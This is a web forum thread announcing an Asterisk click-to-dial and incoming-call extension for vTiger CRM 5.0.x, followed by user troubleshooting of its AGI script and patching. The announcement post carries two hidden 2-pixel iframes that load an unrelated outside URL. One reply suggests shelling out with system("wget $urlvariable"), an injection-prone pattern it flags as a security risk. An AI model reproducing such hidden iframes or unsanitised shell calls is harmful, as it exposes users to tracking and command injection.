Code Contribution: Asterisk CTI Extension for VTiger 5.0.x

Hello VTiger Community,

we are glad to announce that our new Asterisk CTI Extension for VTiger 5.0.x is now ready for download.


It's based on the ideas from the original Asterisk vTiger integration from
Matthew Brichacek <mmbrich@fosslabs.com> but is for 5.0.x we developed most of the Asterisk CTI out of the scretch.

In this version it's no longer necessary to use a java applet to identificate calls. This is now directly done by asterisk and ajax.

The speed and reliability on large vtiger systems was improoved. <!-- s;-) --><img src="{SMILIES_PATH}/icon_wink.gif" alt=";-)" title="Wink" /><!-- s;-) -->


Features supported by rr_vtigerasterisk_102:

- Outbound Click and Dial with SIP Devices from the VTiger Contacts- and Account-Modul
- Inbound Call Manager allows easily to access the Contact Information Page of recongnized incomming calls


To handle Asterisk we use:

xajax PHP Class library - <!-- m --><a class="postlink" href="http://www.xajaxproject.org/">http://www.xajaxproject.org/</a><!-- m -->
PHP Asterisk Manager functions (php-agi) - <!-- m --><a class="postlink" href="http://phpagi.sourceforge.net">http://phpagi.sourceforge.net</a><!-- m -->
Perl Asterisk::AGI - <!-- m --><a class="postlink" href="http://asterisk.gnuinter.net/files/">http://asterisk.gnuinter.net/files/</a><!-- m -->
Perl LWP::Simple - apt-get install libwww-perl
on not debian systems, try: perl -MCPAN -e 'install LWP::Simple'

vTiger and of course Asterisk



For detailed installation informations read the included readme file.


Have fun with that new Extension <!-- s;) --><img src="{SMILIES_PATH}/icon_wink.gif" alt=";)" title="Wink" /><!-- s;) --> <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
«13456712

Comments

  • 115 Comments sorted by Votes Date Added
  • really great!

    i can't speak behind community ... but for me is great news.

    i know thought astrerisk is cti sw and i need special knowledge for work with them. in past i worked at call centrum as it specs so know kind of this problematics.

    at this moment is this integration chance for way how i can think. im now able speak with clients about like "yes integration with cti is with vtiger possible" i know people who have done this."

    please, keep up your work!

    thanks & regards

    ln
  • hello skullsplitter,

    this project is really great. thank’s a lot!!

    i have tried to install it to my test system. the asterisk server is a fresh installed sles 9 an the vtiger 5.0.2 is running on an windows system. after i have installed it i tested with a x-lite client on another windows client and an ip phone (20). the x-lite client i have added to the vtiger user and the contact got in the row “office phone” the number of the ip phone. so i called with the ip phone the soft client. but nothing happened.

    the asterisk gui told me
    -- executing agi&#40;&quot;sip/agent1-0819e598&quot;, &quot;ident&#46;agi&quot;&#41; in new stack
        -- launched agi script /var/lib/asterisk/agi-bin/ident&#46;agi
        -- agi script ident&#46;agi completed, returning 0
        -- executing dial&#40;&quot;sip/agent1-0819e598&quot;, &quot;sip/20|25|tt&quot;&#41; in new stack
        -- called 20
    
    i tried to get some information from your ident.agi by using
    print &quot;send text \&quot;&#40;$url&#41;\&quot;\n&quot;;
    
    and i got the correct url
    http&#58;//192&#46;168&#46;1&#46;11/xampp/vtiger_5_0_2/asterisk/call_ident&#46;php?callerid=20&amp;extension=agent1
    
    when i copy the url in another browser window i get the incoming call window in my vtiger <!-- s;) --><img src="{smilies_path}/icon_wink.gif" alt=";)" title="wink" /><!-- s;) -->. so i think the config is correct but i didn’t get a result back
    agi script ident&#46;agi completed, returning 0
    
    i make some changes in my config but nothing helps.
    perhaps can you give me a hint where to look <!-- s:-) --><img src="{smilies_path}/icon_smile.gif" alt=":-)" title="smile" /><!-- s:-) -->

    greets
    m00ser
  • did you assigned the sip/agent in the vtiger profile of the logged user?
  • moin,

    if the address is working from your browser means, that you vtiger-integration is working fine.

    is it possible to establish a connection from the asterisk server to vtiger? you could test it, trying
    > wget <complete address>
    from your preferred shell.
    this shouldn't produce any errors..

    you are very close.. <!-- s;-) --><img src="{smilies_path}/icon_wink.gif" alt=";-)" title="wink" /><!-- s;-) -->

    regards
    seb

    edit: sorry, with 0 posts i can't post the complete adress from your posting.. (anti-spam.. ok, ok..)
  • @skullsplitter: yes i did, like sip/agent1. this works fine if i call the url in a browser window or with wget.

    @seb: hmm this works fine if i call the url from the asterisk server by using wget i get the ajax window in my vtiger.
  • ok, let's see. if the ajax-window appears in your vtiger it means, that the incoming call function is fine with vtiger. the user configuration seams ok.

    if you could get the url from the agi script it also indicates, that the asterisk configuration is ok, and the agi-script is being called correctly.

    the only problem seems to be the url request from the script. this is done by the lwp module. is this installed properly?
    try calling "perl ident.agi" in your shell. this shouldn't produce any errors.

    also, you can try to replace the url call (the lwp lines) by a system call with wget, like system("wget $urlvariable"); (the variables in the url arq quotet, but observe that this may be a security-risk)...
  • yeeaahh!!
    that's it <!-- s:d --><img src="{smilies_path}/icon_biggrin.gif" alt=":d" title="very happy" /><!-- s:d --> <!-- s:d --><img src="{smilies_path}/icon_biggrin.gif" alt=":d" title="very happy" /><!-- s:d --> <!-- s:d --><img src="{smilies_path}/icon_biggrin.gif" alt=":d" title="very happy" /><!-- s:d -->
    when i edit the ident.agi with system("wget $urlvariable"); it works fine.

    when i call "perl ident.agi" there is comming nothing ... when i hit return i'm back in my shell. could this be the problem?
  • i, too, am trying to set up this module, but am stranding on the patching of the vtiger files. when i run the patch (copied and pasted from the readme) as root user, it seems to do something, but an hour later nothing has happened.
    i'm running on ubuntu, vtiger 5.02

    what am i doing wrong??

    thanks for any/all help!

    pieter
  • hi pieter,

    i patched it with
    patch -np1 -i file_name
    

    greets m00ser
  • thanks m00ser,

    tried this, and the diff went ok except for patching the german language file which i do not have, only english.


    but i cannot see any field where i can put in the extention numer in the user setup, not do i have any phone numbers in contact that can be used to dail out.

    what am i missing?

    more help appreciated!

    pieter
Sign In or Register to comment.